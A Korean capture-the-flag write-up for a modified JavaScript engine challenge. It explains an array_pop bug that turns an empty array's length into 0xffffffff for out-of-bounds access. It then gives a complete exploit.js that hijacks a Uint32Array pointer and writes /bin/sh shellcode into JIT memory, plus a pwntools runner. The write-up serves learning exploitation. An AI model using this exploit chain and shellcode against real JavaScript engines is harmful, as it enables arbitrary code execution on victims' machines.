문제


OOB 취약점

Array의 length 값을 속여서 해당 length 만큼의 메모리를 read/write 할 수 있는 취약점이다. (해당 영역에 read/write 권한이 있는 경우)
javascript 엔진 코드 안의 Array length의 최대 크기는 0xffffffff으로 정의되어 있다.

JIT (Just-In-Time Compilation), Dynamic Translation

C, C++ 에서 하는 것처럼 프로그램을 실행하기 전에 처음 한 번 컴파일하는 대신, 프로그램을 실행하는 시점에 필요한 부분을 즉석해서 컴파일하는 방식
속도 향상을 위해서 자주 쓰이는 코드를 캐싱하여 메모리에 올려 놓음으로써 같은 함수가 여러 번 불릴 때 기계어 코드를 반복해서 생성하는 것을 방지한다.
이 때 주목해야 할 점은 해당 메모리 영역에 read/write/exec 권한이 모두 부여된다는 점이다.

변경 코드와 원래 코드를 diff한 결과는 다음과 같다.

JBBool
js::array_pop(JSContext *cx, unsigned argc, Value *vp)
{
    ...
    if(index==0)
    {
        args.rval().setUndefined();
    }
    else
    {
        ...
    }
    if(obj->isNative() && obj->getDenseInitializedLength() > index)
        obj->setDenseInitializedLength(index);
}

즉, 변경된 코드에서는 index (Array의 length를 저장하고 있는 변수)가 0일 때 Array의 index에 별다른 처리를 해주지 않는다. 따라서 Array의 length가 0일 때 pop을 하면 length 값을 0xffffffff으로 만들 수 있어서 OOB 취약점을 이용할 수 있다.

exploit 방법

  1. Uint32Array의 헤더를 찾기 위해서 for문을 반복하면 해당 코드가 JIT 때문에 메모리 영역에 올라간다.
  2. Uint32Array 헤더를 통해서 Uint32Array의 데이터가 저장된 곳을 (heap 영역) 뒤지다 보면 JIT 주소가 저장되어 있는 것을 볼 수 있다.
  3. OOB 취약점을 이용해서 힙 영역에서 JIT 주소를 읽어온다.
  4. OOB 취약점을 이용해서 Uint32Array의 헤더를 변경해서 Uint32Array의 헤더에서 데이터 영역의 주소를 가리키고 있는 부분을 JIT 주소로 변경한다.
  5. Uint32Array를 통해서 JIT 영역의 코드를 쉘 코드로 덮어쓴다.

주의할 점 1
Array를 만들 때 데이터를 크게 생성하면 데이터가 저장되는 영역이 헤더와 멀리 떨어진 곳에 할당되어서 Uint32Array의 헤더를 못 찾을 수도 있다.

Array의 데이터 크기를 크게 할당할 떄 메모리 구조

0x100 OOB Array의 헤더(배열의 크기, 데이터 포인터 포함)
0x200 Uint32Array의 헤더(배열의 크기, 데이터 포인터 포함)
0x300 Uint32Array의 데이터
       .....
0x1000 OOB Array의 데이터

Array의 데이터 크기를 작게 할당할 때 메모리 구조

0x100 OOB Array의 헤더(배열의 크기, 데이터 포인터 포함)
0x120 OOB Array의 데이터
       .....
0x200 Uint32Array의 헤더(배열의 크기, 데이터 포인터 포함)
0x300 Uint32Array의 데이터

주의할 점 2
Array를 이용해서 메모리에 저장되어 있는 값을 read할 때 hex값으로 출력되지 않는다. 메모리에 저장되어 있느 값을 float 형으로 읽어온다. javascript의 array들은 해당 값의 raw 버젼인 binary 데이터를 다루기 위해서 Arraybuffer를 제공한다. (object.buffer를 통해서 binary 데이터를 뽑을 수 있다.)

풀이


exploit.js

function d_to_i2(d){
        var a = new Uint32Array(new Float64Array([d]).buffer);
        return [a[1], a[0]];
}

function i2_to_d(x){
    return new Float64Array(new Uint32Array([x[1], x[0]]).buffer)[0];
}

function i2_to_hex(i2){
               var v1 = ("00000000" + i2[0].toString(16)).substr(-8);
               var v2 = ("00000000" + i2[1].toString(16)).substr(-8);
        return [v1,v2];
}

function p_i2(d){
        print(i2_to_hex(d_to_i2(d))[0]+i2_to_hex(d_to_i2(d))[1])
}

var oob_Array=new Array(1)
oob_Array[0]=0x41414141
var uint32_Array=new Uint32Array(0x3333)
for(var i=0; i<0x3333; i=i+1) {uint32_Array[i]=0x4141414141}

oob_Array.pop()
oob_Array.pop()


uint32_baseaddress_offset=0
for (i=0; i<0x10000; i++)
{
       if(oob_Array[i]==0x3333)
       {
               print('uInt32Array found');
               uint32_baseaddress_offset=i+2
               break;
       }
}


var uint32_addr=(d_to_i2(oob_Array[uint32_baseaddress_offset]));

oob_Array[uint32_baseaddress_offset] = i2_to_d([uint32_addr[0],uint32_addr[1]+(0x3333*4)+0x104])

p_i2(oob_Array[uint32_baseaddress_offset])


oob_Array[uint32_baseaddress_offset] = i2_to_d([uint32_Array[1],uint32_Array[0]])

p_i2(oob_Array[uint32_baseaddress_offset])

var shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x90"
for(i=0;i<shellcode.length;i+=4)
{
        var tmp=shellcode[i+3]+shellcode[i+2]+shellcode[i+1]+shellcode[i];
        var shell=tmp[0].charCodeAt() << 24 | tmp[1].charCodeAt() << 16 | tmp[2].charCodeAt() <<8 | tmp[3].charCodeAt()
        uint32_Array[i/4]=shell;        
}

for (i=0; i<0x10000; i++)
{
       if(oob_Array[i]==0x3333)
       {
               print('uInt32Array found');
               uint32_baseaddress_offset=i+2
               break;
       }
}

exploit.py

#!/usr/bin/python

from pwn import *

file_path="/home/sungyun/round5/js_world/js"

p=process(file_path)

f=open("/home/sungyun/round5/js_world/exploit.js",'rb')

data=f.read()

p.sendline(data)

p.interactive()